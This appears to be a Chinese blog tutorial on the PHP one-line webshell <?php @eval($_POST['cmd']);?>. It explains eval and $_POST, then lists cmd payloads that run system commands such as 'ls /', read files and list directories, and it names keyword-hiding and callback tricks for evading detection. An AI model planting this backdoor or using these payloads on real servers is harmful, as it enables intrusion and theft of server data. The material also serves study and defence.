标签:函数 一句 cmd echo ls 木马 根目录 txt
原理
代码 <?php @eval($_POST['cmd']);?>
解析
# @ 代表了即使报错了,也不显示
# eval()函数把字符串按照 PHP 代码来计算
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
// 输出
This is a $string $time morning!
This is a beautiful winter morning!
# $_POST 一般用于收集提交表单,此处用于传递变量
# 'cmd' 是我们传递的信息
思路一:隐藏关键字
思路二:使用回调函数
使用木马
# 具体函数使用方法和结果
// 记住 cmd="命令" 的等号中间不能有空格
// 执行系统命令(针对 Linux)
cmd=system("ls /");
# 输出服务器下的根目录
cmd=passthru("ls /");
# 输出服务器下的根目录
cmd=echo exec("ls /");
# 输出服务器下的根目录(返回执行结果的最后一行)
cmd=echo shell_exec("ls /");
# 输出服务器下的根目录
cmd=echo `ls/`;
# 输出服务器下的根目录
// 读文件
cmd=echo file_get_contents("./a.txt");
# 读取根目录下的 a.txt 文件
cmd=var_dump(file("./a.txt"));
# 读取根目录下的 a.txt 文件
cmd=readfile("./a.txt");
# 读取根目录下的 a.txt 文件
// 遍历目录
cmd=var_dump(scandir("/"));
# 读取整个根目录
查杀木马
不死马
PHP 相关知识点补充
# 可变函数
$a = "phpinfo";
$a();
// 相当于执行了 phpinfo();
# 可变变量
$a='assert';
$b='a';
echo $$b;
// 相当于执行了 $a;
# assert 函数
// assert 和 eval 函数作用类似
// 但 assert 函数能被可变函数调用,而 eval 函数不可以被可变函数调用
// PHP7.1 以上已经废弃 assert 函数
推荐文章
标签:函数,一句,cmd,echo,ls,木马,根目录,txt 来源: https://www.cnblogs.com/CourserLi/p/15302964.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。